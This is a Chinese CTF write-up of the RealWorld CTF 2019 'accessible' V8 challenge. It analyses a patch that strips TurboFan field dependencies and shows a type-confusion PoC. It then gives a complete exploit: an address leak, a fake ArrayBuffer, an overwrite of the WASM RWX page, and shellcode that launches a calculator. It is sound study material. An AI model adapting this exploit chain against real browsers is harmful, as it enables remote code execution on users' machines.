RealWorld CTF2019 accessible

在Patch文件中由于删除了添加依赖(dependency)的部分代码,导致一些元素类型在发生变化时无法触发Deoptimize,造成Type Confusion。


环境准备

git reset --hard eefa087eca9c54bdb923b8f5e5e14265f6970b22
gclient sync
git apply ../challenge.patch
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release d8
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug d8

漏洞分析

Patch分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
diff --git a/src/compiler/access-info.cc b/src/compiler/access-info.cc
index 0744138..1df06df 100644
--- a/src/compiler/access-info.cc
+++ b/src/compiler/access-info.cc
@@ -370,9 +370,11 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
// The field type was cleared by the GC, so we don't know anything
// about the contents now.
}
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
+#endif
if (descriptors_field_type->IsClass()) {
// Remember the field map, and try to infer a useful type.
Handle<Map> map(descriptors_field_type->AsClass(), isolate());
@@ -384,15 +386,17 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
}
// TODO(turbofan): We may want to do this only depending on the use
// of the access info.
+#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
+#endif

PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
- constness = dependencies()->DependOnFieldConstness(map_ref, descriptor);
+ constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());

修改的是src/compiler/access-info.cc文件中的AccessInfoFactory::ComputeDataFieldAccessInfo函数。
删除了两处unrecorded_dependencies.push_back函数,
并且constness始终被赋值为PropertyConstness::kConst

到这里好像什么都没看出来,dependencies的细节之前也没怎么接触到。找了一下Hpasserby师傅的文章
在未知POC的情况下只能一步一步来分析。

源码分析

1
2
3
4
5
6
7
8
PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
Handle<Map> receiver_map, Handle<Map> map, MaybeHandle<JSObject> holder,
int descriptor, AccessMode access_mode) const {
DCHECK_NE(descriptor, DescriptorArray::kNotFound);
Handle<DescriptorArray> descriptors(map->instance_descriptors(), isolate());
PropertyDetails const details = descriptors->GetDetails(descriptor);
int index = descriptors->GetFieldIndex(descriptor);
Representation details_representation = details.representation();

在函数的开头获取map中的instance_descriptors,通过descriptor定位具体属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
  if (details_representation.IsSmi()) {
field_type = Type::SignedSmall();
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
} else if (details_representation.IsDouble()) {
field_type = type_cache_->kFloat64;
if (!FLAG_unbox_double_fields) {
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(
map_ref, descriptor));
}
} else if (details_representation.IsHeapObject()) {
// Extract the field type from the property details (make sure its
// representation is TaggedPointer to reflect the heap object case).
Handle<FieldType> descriptors_field_type(
descriptors->GetFieldType(descriptor), isolate());
if (descriptors_field_type->IsNone()) {
// Store is not safe if the field type was cleared.
if (access_mode == AccessMode::kStore) {
return PropertyAccessInfo::Invalid(zone());
}

// The field type was cleared by the GC, so we don't know anything
// about the contents now.
}
#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
descriptor));
#endif
if (descriptors_field_type->IsClass()) {
// Remember the field map, and try to infer a useful type.
Handle<Map> map(descriptors_field_type->AsClass(), isolate());
field_type = Type::For(MapRef(broker(), map));
field_map = MaybeHandle<Map>(map);
}
} else {
CHECK(details_representation.IsTagged());
}
// TODO(turbofan): We may want to do this only depending on the use
// of the access info.
#if 0
unrecorded_dependencies.push_back(
dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
#endif

接着会依次检查属性的类型并将其添加到unrecorded_dependencies中。
但是由于Patch的修改,当属性的类型是HeapObject时,不会将其添加到unrecorded_dependencies中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PropertyConstness constness;
if (details.IsReadOnly() && !details.IsConfigurable()) {
constness = PropertyConstness::kConst;
} else {
map_ref.SerializeOwnDescriptor(descriptor);
constness = PropertyConstness::kConst;
}
Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
isolate());
switch (constness) {
case PropertyConstness::kMutable:
return PropertyAccessInfo::DataField(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
case PropertyConstness::kConst:
return PropertyAccessInfo::DataConstant(
zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
details_representation, field_type, field_owner_map, field_map,
holder);
}
UNREACHABLE();

由于Patch修改,属性类型总是kConst,所以总是return PropertyAccessInfo::DataConstant。
查看PropertyAccessInfo::DataConstant函数。

1
2
3
4
5
6
7
8
9
10
11
PropertyAccessInfo PropertyAccessInfo::DataConstant(
Zone* zone, Handle<Map> receiver_map,
ZoneVector<CompilationDependency const*>&& dependencies,
FieldIndex field_index, Representation field_representation,
Type field_type, Handle<Map> field_owner_map, MaybeHandle<Map> field_map,
MaybeHandle<JSObject> holder, MaybeHandle<Map> transition_map) {
return PropertyAccessInfo(kDataConstant, holder, transition_map, field_index,
field_representation, field_type, field_owner_map,
field_map, {{receiver_map}, zone},
std::move(dependencies));
}

PropertyAccessInfo::DataConstant又返回PropertyAccessInfo函数。
查看PropertyAccessInfo函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PropertyAccessInfo::PropertyAccessInfo(
Kind kind, MaybeHandle<JSObject> holder, MaybeHandle<Map> transition_map,
FieldIndex field_index, Representation field_representation,
Type field_type, Handle<Map> field_owner_map, MaybeHandle<Map> field_map,
ZoneVector<Handle<Map>>&& receiver_maps,
ZoneVector<CompilationDependency const*>&& unrecorded_dependencies)
: kind_(kind),
receiver_maps_(receiver_maps),
unrecorded_dependencies_(std::move(unrecorded_dependencies)),
transition_map_(transition_map),
holder_(holder),
field_index_(field_index),
field_representation_(field_representation),
field_type_(field_type),
field_owner_map_(field_owner_map),
field_map_(field_map) {
DCHECK_IMPLIES(!transition_map.is_null(),
field_owner_map.address() == transition_map.address());

unrecorded_dependencies则是被初始化赋值给私有成员unrecorded_dependencies_
找一下引用该私有成员的函数,PropertyAccessInfo::MergePropertyAccessInfo::RecordDependencies
其中Merge函数合并两个unrecorded_dependencies_。
RecordDependencies函数实现如下

1
2
3
4
5
6
7
void PropertyAccessInfo::RecordDependencies(
CompilationDependencies* dependencies) {
for (CompilationDependency const* d : unrecorded_dependencies_) {
dependencies->RecordDependency(d);
}
unrecorded_dependencies_.clear();
}

其中又调用了RecordDependency。

1
2
3
4
void CompilationDependencies::RecordDependency(
CompilationDependency const* dependency) {
if (dependency != nullptr) dependencies_.push_front(dependency);
}

所以RecordDependenciesunrecorded_dependencies_转移到了CompilationDependencies类的私有成员dependencies_并且清空。

1
2
3
4
5
6
7
bool CompilationDependencies::AreValid() const {
for (auto dep : dependencies_) {
if (!dep->IsValid()) return false;
}
return true;
}
......

查找dependencies_,引用代码基本是遍历dependencies_并调用IsValid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Reduction TypedOptimization::ReduceCheckMaps(Node* node) {
// The CheckMaps(o, ...map...) can be eliminated if map is stable,
// o has type Constant(object) and map == object->map, and either
// (1) map cannot transition further, or
// (2) we can add a code dependency on the stability of map
// (to guard the Constant type information).
Node* const object = NodeProperties::GetValueInput(node, 0);
Type const object_type = NodeProperties::GetType(object);
Node* const effect = NodeProperties::GetEffectInput(node);
base::Optional<MapRef> object_map =
GetStableMapFromObjectType(broker(), object_type);
if (object_map.has_value()) {
for (int i = 1; i < node->op()->ValueInputCount(); ++i) {
Node* const map = NodeProperties::GetValueInput(node, i);
Type const map_type = NodeProperties::GetType(map);
if (map_type.IsHeapConstant() &&
map_type.AsHeapConstant()->Ref().equals(*object_map)) {
if (object_map->CanTransition()) {
dependencies()->DependOnStableMap(*object_map);
}
return Replace(effect);
}
}
}
return NoChange();
}

查找调用该头文件的代码,在typed-optimization.cc文件中发现以上代码。
通过注释大概可以知道,在Ruduce过程中,如果map是稳定的,可以通过添加dependency的方式来将CheckMaps节点删除。

总结

对照Hpasserby师傅的文章,由于JS类型不稳定,v8采用两种方式来确保runtime优化代码的类型安全。
第一种是添加CheckMaps来对类型进行检查。
第二种是通过dependency,将元素添加到dependencies中,通过检查dependency是否改变来触发deoptimize。
而正是因为在Patch中删除了某些添加dependency的代码,导致在runtime时某些元素改变无法检测,导致Type Confusion。

漏洞利用

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var obj = {};
obj.c = {a: 1.1};

function leaker(o){
return o.c.a;
}
for (var i = 0; i < 0x4000; i++) {
leaker(obj);
}

var buf_to_leak = new ArrayBuffer();
obj.c = {b: buf_to_leak}

console.log(leaker(obj))

由于在Patch中删除了details_representation.IsHeapObject()时的unrecorded_dependencies.push_back,HeapObject不会被添加到dependencies。
POC中,首先字典传入obj,然后多次调用leaker(返回o.c.a)使得生成JIT代码,然后替换掉原来的字典。这时候并没有触发deoptimize,而是把buf_to_leak地址打印了出来。

在POC中如果在替换字典时出现了同属性名,{a: buf_to_leak},则会触发deoptimize。
因为在原始对象的映射上仍然有一个单独的代码依赖项。
通过创建具有相同属性名称的新对象,它将使用转换来查找相同的映射,然后对其执行类型泛化。这种泛化使代码段无效。

Turbolizer搭建

我们通过Turbolizer可视化来验证该POC。
安装最新版nodejs。

1
2
3
sudo apt-get install curl python-software-properties
curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -
sudo apt-get install nodejs

安装并启动Turbolizer

1
2
3
4
cd v8/tools/turbolizer
npm i
npm run-script build
python -m SimpleHTTPServer

生成可视化文件

1
./out.gn/x64.debug/d8 --trace-turbo ~/browser/poc/RealWorld_CTF2019_accessible/poc.js --trace-turbo-path ~/browser/turbo/

001
可以看到在TyperLowering阶段存在两次CheckMaps,分别为obj以及obj.c
002
在SimplifiedLowering阶段只有对obj的CheckMaps,obj.c以及转为添加dependency的方法。

思路

任意对象读取

在POC中基本完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
var obj1 = {c: {x: 1.1}};
function leaker(o){
return o.c.x;
}
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
function leak_obj(o){
obj1.c = {y: o};
res = tC.f2u(leaker(obj1))
return res
}
`

伪造ArrayBuffer

JSArray布局图如下

Elements--->+-------------+
            |  MAP        +<------+
            +-------------+       |
            |  Length     |       |
            +-------------+       |
            |  element#1  |       |
            +-------------+       |
            |  element#2  |       |
            +-------------+       |
            |     ...     |       |
            +-------------+       |
            |  element#N  |       |
 JSArray--->--------------+       |
            |  MAP        |       |
            +-------------+       |
            |  Properties |       |
            +-------------+       |
            |  Elements   +-------+
            +-------------+
            |  Length     |
            +-------------+
            |     ...     |
            +-------------+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var fake_arraybuffer = [
//map|properties
tC.u2f(0x0),
tC.u2f(0x0),
//elements|length
tC.u2f(0x0),
tC.u2f(0x1000),
//backingstore|0x2
tC.u2f(0x0),
tC.u2f(0x2),
//padding
tC.u2f(0x0),
tC.u2f(0x0),
//fake map
tC.u2f(0x0),
tC.u2f(0x1900042317080808),
tC.u2f(0x00000000084003ff),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0)
].slice(0); //0x80

slice或者splice使得Elements紧邻JSArray。fake_map中只要部分需要特定值(通过调试获取一个真实的map的值),其余填写0就行。

WASM

调试以下代码。

1
2
3
4
5
6
7
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
%DebugPrint(wasmInstance);
readline();

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x7c8e4c41000      0x7c8e4c80000 ---p    3f000 0      
 0x7c8e4c80000      0x7c8e4c81000 rw-p     1000 0      
 0x7c8e4c81000      0x7c8e4c82000 ---p     1000 0      
 0x7c8e4c82000      0x7c8e4ca8000 r-xp    26000 0      
 0x7c8e4ca8000      0x7c8e4cbf000 ---p    17000 0      
 0x7c8e4cbf000      0x7c8e4cc0000 ---p     1000 0      
 0x7c8e4cc0000      0x7c8e4cc1000 rw-p     1000 0      
 0x7c8e4cc1000      0x7c8e4cc2000 ---p     1000 0      
 0x7c8e4cc2000      0x7c8e4cff000 r-xp    3d000 0      
 0x7c8e4cff000      0x7c8ecc41000 ---p  7f42000 0      
 0x8dcdd0c0000      0x8dcdd100000 rw-p    40000 0      
 0xe0e6e880000      0xe0e6e8c0000 rw-p    40000 0      
 0x11bb1ee02000     0x11bb1ee03000 rwxp    1000 0   
--------------------------------------------------
pwndbg> search -8 0x11bb1ee02000
            0xe0e6e89fe98 0x11bb1ee02000
--------------------------------------------------
pwndbg> p/x 0xe0e6e89fe98 - 0xe0e6e89fe18
$1 = 0x80

可以看到存储RWX地址的地址为wasmInstance_addr + 0x80。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

function success(str, val){
console.log("[+]" + str + hex(val));
}

class typeConvert
{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
f2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2f(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}

var tC = new typeConvert();

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;


var ab = new ArrayBuffer(0x1000);
var obj1 = {c: {x: 1.1}};
var obj2 = {d: {w: ab}};

var fake_arraybuffer = [
//map|properties
tC.u2f(0x0),
tC.u2f(0x0),
//elements|length
tC.u2f(0x0),
tC.u2f(0x1000),
//backingstore|0x2
tC.u2f(0x0),
tC.u2f(0x2),
//padding
tC.u2f(0x0),
tC.u2f(0x0),
//fake map
tC.u2f(0x0),
tC.u2f(0x1900042317080808),
tC.u2f(0x00000000084003ff),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0),
tC.u2f(0x0)
].slice(0);//伪造ArrayBuffer

function leaker(o){
return o.c.x;
}
function faker(o){
return o.d.w;
}
//对obj1和obj2进行编译
for(var i = 0; i < 0x5000; i++){
leaker(obj1);
}
for(var i = 0; i < 0x5000; i++){
faker(obj2);
}

function leak_obj(o){
obj1.c = {y: o};
res = tC.f2u(leaker(obj1))
return res
}

fake_arraybuffer_addr = leak_obj(fake_arraybuffer) - 0x80;
wasmInstance_addr = leak_obj(wasmInstance) - 0x1;
success("fake_arraybuffer_addr -> ",fake_arraybuffer_addr);
success("wasmInstance_addr -> ",wasmInstance_addr);


fake_map_addr = fake_arraybuffer_addr + 0x40;
RWX_addr_loc = wasmInstance_addr + 0x80;

fake_arraybuffer[0] = tC.u2f(fake_map_addr);//伪造map
fake_arraybuffer[4] = tC.u2f(RWX_addr_loc);//改写backingstore
obj2.d = {z: tC.u2f(fake_arraybuffer_addr)};
real_ab = faker(obj2);
fake_obj = new DataView(real_ab);//将伪造的ArrayBuffer取出
RWX_addr = tC.f2u(fake_obj.getFloat64(0, true));//读取backingstore指向的内容
success("RWX_addr -> ",RWX_addr)
fake_arraybuffer[4] = tC.u2f(RWX_addr);//把backingstore改为RWX区域

shellcode = [0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0xb8, 0x2f, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50, 0x48, 0x89, 0xe7, 0x48, 0x31, 0xc0, 0x50, 0x57, 0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0x48, 0xc7, 0xc0, 0x3a, 0x30, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x31, 0xc0, 0x50, 0x52, 0x48, 0x89, 0xe2, 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00];
//写入shellcode
for (i = 0; i < shellcode.length; i++){
fake_obj.setUint8(i, shellcode[i], true);
}
wasmFunc();//执行shellcode
`

003

参考链接

v8 exploit - RealWorld CTF2019 accessible
Real World CTF 2019 Accessible Write-up
JavaScript深入浅出第4课:V8引擎是如何工作的?